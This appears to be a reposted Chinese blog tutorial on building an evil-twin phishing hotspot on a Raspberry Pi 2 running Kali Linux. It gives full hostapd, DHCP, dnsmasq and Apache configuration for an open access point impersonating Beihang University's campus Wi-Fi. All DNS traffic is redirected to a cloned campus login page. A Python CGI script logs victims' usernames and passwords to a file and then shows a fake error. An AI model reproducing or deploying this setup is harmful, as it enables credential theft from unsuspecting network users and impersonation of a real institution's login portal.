树莓派2+无线网卡=钓鱼热点
0x1 關(guān)于樹莓派
The?Raspberry Pi?is a tiny and affordable computer that you can use to learn programming through fun, practical projects.
樹莓派是一個小型的而且很便宜的($35)電腦,在這個電腦上你可以通過有趣的實(shí)用的項(xiàng)目學(xué)習(xí)編程。
樹莓派2 Model B長這樣:
具體介紹戳官網(wǎng):Raspberry Pi - Teach, Learn, and Make with Raspberry Pi
0x2 關(guān)于系統(tǒng)
樹莓派官方出的系統(tǒng)是Raspbian,基于Debian并根據(jù)樹莓派的硬件進(jìn)行了優(yōu)化:
Raspbian is a free operating system based on Debian optimized for the Raspberry Pi hardware.?
具體介紹戳官網(wǎng):Raspbian: FrontPage
當(dāng)然其他的操作系統(tǒng),如Ubuntu、Fedora都有針對樹莓派的版本。我選的系統(tǒng)是Kali Linux,選它的原因請參考標(biāo)題。
Kali官方有針對樹莓派2的版本,具體安裝教程戳官網(wǎng):Kali Linux – Raspberry Pi | Kali Linux
0x3 關(guān)于無線網(wǎng)卡和Micro SD卡
我選的無線網(wǎng)卡是?EDUP EP-N8508GS黃金版 迷你USB無線網(wǎng)卡 樹莓派專用,芯片是rtl8188cus,免驅(qū)即插即用。
選擇無線網(wǎng)卡的時候請參考官網(wǎng):RPi USB Wi-Fi Adapters
我選的Micro SD卡是?閃迪(SanDisk)32GB UHS-I 至尊高速移動MicroSDHC-TF存儲卡(讀速48Mb/s)
選擇Micro SD卡的時候請參考官網(wǎng):RPi SD cards
0x4 安裝和配置相關(guān)軟件
假設(shè)已經(jīng)按照教程安裝好了系統(tǒng),也插上無線網(wǎng)卡了,接下來就是安裝必要的軟件。
連接樹莓派的方式有通過顯示器(需要HDMI轉(zhuǎn)接頭)、SSH登錄、VNC連接等,因?yàn)镵ali開機(jī)自動啟動SSH Server,所以只要知道樹莓派的IP地址,用SSH連過去就行了,Kali的默認(rèn)用戶名是root,登錄密碼是toor。
代碼前有#的表示在bash下以root身份運(yùn)行的代碼,沒有的表示修改的文件內(nèi)容。
0x40 修改更新源,在/etc/apt/sources.list中添加:
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free deb http://mirrors.aliyun.com/kali kali main non-free contrib deb-src http://mirrors.aliyun.com/kali kali main non-free contrib deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free然后進(jìn)行更新,apt-get update && apt-get upgrade
0x41 根分區(qū)擴(kuò)充
下面鏈接中的文件可能有更新,請根據(jù)需要進(jìn)入對應(yīng)目錄選擇版本
# wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20150131-1_all.deb # wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb # wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb # dpkg -i triggerhappy_0.3.4-2_armhf.deb # dpkg -i lua5.1_5.1.5-7.1_armhf.deb # dpkg -i raspi-config_20150131-1_all.deb然后使用raspi-config命令進(jìn)入系統(tǒng)設(shè)置,選擇第一項(xiàng)Expand Filesystem擴(kuò)充,當(dāng)然系統(tǒng)設(shè)置中還有其他設(shè)置,根據(jù)需要進(jìn)行設(shè)置即可。用df -lh檢查文件系統(tǒng)大小,根分區(qū)是否為SD卡大小
0x42 安裝和配置hostapd
hostapd的作用是提供無線共享,即配置并成功運(yùn)行hostapd后,能夠搜索到熱點(diǎn)
# apt-get install hostapd????由于無線網(wǎng)卡支持的問題,系統(tǒng)安裝的hostapd不支持rtl8188cus芯片,需要將hostapd替換為兼容版本:
# wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip # unzip hostapd.zip # sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak # sudo mv hostapd /usr/sbin/hostapd.cat # sudo ln -sf /usr/sbin/hostapd.cat /usr/sbin/hostapd # sudo chmod 755 /usr/sbin/hostapd修改(沒有的話新建)/etc/hostapd/hostapd.conf:
interface=wlan0 ctrl_interface=wlan0 ctrl_interface_group=0 ssid=BUAA-WIFI # 偽熱點(diǎn)名,例如我的是校園網(wǎng)的WIFI熱點(diǎn)名 channel=2 macaddr_acl=0 ignore_broadcast_ssid=0 driver=rtl871xdrv hw_mode=g wmm_enabled=1因?yàn)槭怯脕磲烎~的偽熱點(diǎn),所以不設(shè)置熱點(diǎn)密碼
修改/etc/default/hostapd,去掉DAEMON_CONF前的注釋符號并修改為我們的配置文件路徑:
DAEMON_CONF="/etc/hostapd/hostapd.conf"啟動hostapd:
# service hostapd start0x43 安裝和配置isc-dhcp-server
????isc-dhcp-server提供的是為接進(jìn)熱點(diǎn)的設(shè)備分配IP
# apt-get install isc-dhcp-server修改/etc/dhcp/dhcpd.conf:
ddns-update-style none; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 192.168.126.112 netmask 255.255.255.240 { # 創(chuàng)建一個子網(wǎng)range 192.168.126.113 192.168.126.125; # 分配的IP范圍option domain-name-servers 192.168.126.126; # 使用本機(jī)的DNS服務(wù)器option domain-name "rpi"; option routers 192.168.126.126; # 網(wǎng)關(guān)為本機(jī)option broadcast-address 192.168.126.127; # 廣播地址 }修改/etc/default/isc-dhcp-server:
DHCPD_CONF="/etc/dhcp/dhcpd.conf" INTERFACES="wlan0"啟動isc-dhcp-server:
# service isc-dhcp-server start0x44 安裝和配置dnsmasq
dnsmasq提供的是為接進(jìn)熱點(diǎn)的設(shè)備進(jìn)行流量引導(dǎo),Kali中已經(jīng)安裝好dnsmasq了
修改(沒有的話新建)/etc/dnsmasq.conf:
interface=wlan0 bind-interfaces address=/#/192.168.126.126 # 將對所有網(wǎng)站的訪問重定向到本機(jī)啟動dnsmasq:
# dnsmasq0x45 添加iptables規(guī)則
修改/etc/sysctl.conf:
net.ipv4.ip_forward=1修改/proc/sys/net/ipv4/ip_forward為1
添加轉(zhuǎn)發(fā)規(guī)則:
# sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT # sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT然后用iptables -t nat -S和iptables -S檢查是否添加成功
為了讓上面的規(guī)則在開始時自動添加,執(zhí)行:
# sh -c "iptables-save > /etc/iptables.ipv4.nat"0x46 設(shè)置wlan0的靜態(tài)IP
修改/etc/network/interfaces,添加:
auto wlan0 allow-hotplug wlan0 iface wlan0 inet staticaddress 192.168.126.126 # 與之前dhcpd.conf填寫的網(wǎng)關(guān)地址相同netmask 255.255.255.240 # 與之前dhcpd.conf填寫的子網(wǎng)掩碼相同 up iptables-restore < /etc/iptables.ipv4.nat0x47 安裝和配置apache2
apache2提供的是為將重定向的流量引導(dǎo)到本機(jī)服務(wù)器運(yùn)行的網(wǎng)頁中,Kali中已經(jīng)安裝好apache2了
修改/etc/apache2/sites-available/default,在合適的標(biāo)簽下添加:
<VirtualHost *:80>...ServerName gw.buaa.edu.cn # 偽造服務(wù)器名DirectoryIndex gw.buaa.edu.cn.html # 將默認(rèn)界面改為釣魚網(wǎng)站頁面...<Directory "/usr/lib/cgi-bin">AddHandler cgi-script .py # 添加對.py的支持 ...啟動apache2:
# service apache2 start?0x48 編寫釣魚網(wǎng)站
我要釣魚的是學(xué)校的校園網(wǎng)登錄網(wǎng)站,所以copy校園網(wǎng)登錄的界面,修改里面的表單提交action,提交到本機(jī)服務(wù)的后臺,例如我的釣魚網(wǎng)站/var/www/gw.buaa.edu.cn.html:
... <script type="text/javascript">function login() {var errorMsg = [];var username = $("input[name='username']").val();var password = $("input[name='password']").val();if(username == '' || username == '用戶名*') {errorMsg.push('請輸入用戶名.');$('#txtuser').focus();}if (password == '' || password == '密碼*') {errorMsg.push('請輸入密碼.');$('#txtPwd').focus();}if (errorMsg != "") {if (errorMsg.length > 0) {$('#divloginError').html('').html($('<ul/>', {html: '<li>' + errorMsg.join('</li><li>') + '</li>'})).show();$('#dvloginErrorM').show();$.mobile.silentScroll(125);} else {$('#dvloginErrorM').hide();}} else {document.aspnetForm.submit();}} </script> ... <!--表單提交--> <form name="aspnetForm" method="post" action="/cgi-bin/login.py"...> <!--用戶提交按鈕--><a href="javascript:login()".../> </form>編寫后臺處理程序,我用的是python的cgi,在/usr/lib/gci-bin下新建login.py:
#!/usr/bin/python #-*- encoding: utf-8 -*- import cgi, cgitb form = cgi.FieldStorage() username = form.getvalue('username') # 獲得用戶名 password = form.getvalue('password') # 獲得密碼 f = open('/cat/gw.buaa.edu.cn.log', 'a') # 注意apache是否有所寫文件夾的權(quán)限!! f.write("%s: %s\r\n" % (username, password)) # 將用戶名和密碼寫入文件 f.close() print "Content-type:text/html\r\n\r\n" # 然后顯示一個錯誤頁面 print '<html><head>' print '<title>Error 126</title>' print '</head><body>' print '<h1>Error establishing a database connection</h1>' print '</body></html>'將login.py的權(quán)限設(shè)置為755,即有運(yùn)行權(quán)限
0x49 將上述配置開機(jī)自啟動
# update-rc.d hostapd enable # update-rc.d isc-dhcp-server enable # update-rc.d apache2 enable對于dnsmasq,需要手動編寫開機(jī)啟動腳本,在/etc/init.d/下新建文件dnsmasq:
#!/bin/bash set -e case "$1" instart)dnsmasq&;;stop)killall -9 dnsmasq;;restart)killall -9 dnsmasqdnsmasq&;; esac exit 0然后進(jìn)入/etc/rc3.d/下,執(zhí)行:
# ln -sf /etc/init.d/dnsmasq S06dnsmasqS06表示啟動優(yōu)先級,數(shù)字越大,優(yōu)先級越低,比如服務(wù)A的運(yùn)行要依賴服務(wù)B,那A的數(shù)字就應(yīng)該大于B的
最后,編輯/etc/rc.local,添加:
service dnsmasq start0x5 測試運(yùn)行
首先連接上偽熱點(diǎn)BUAA-WIFI,然后在瀏覽器輸入一個網(wǎng)址,瀏覽器將自動跳轉(zhuǎn)到校園網(wǎng)登錄界面:
當(dāng)用戶輸入登錄的用戶名和密碼,點(diǎn)擊登錄后,將跳轉(zhuǎn)到錯誤頁面,但是用戶名和密碼都已經(jīng)被后臺服務(wù)器記錄到文件中。
轉(zhuǎn)載于:https://www.cnblogs.com/wuyinan0126/p/4604109.html
總結(jié)
以上是生活随笔為你收集整理的树莓派2+无线网卡=钓鱼热点的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 怎么知道u盘是不是有问题 如何判断U盘是
- 下一篇: Codeforces Round#310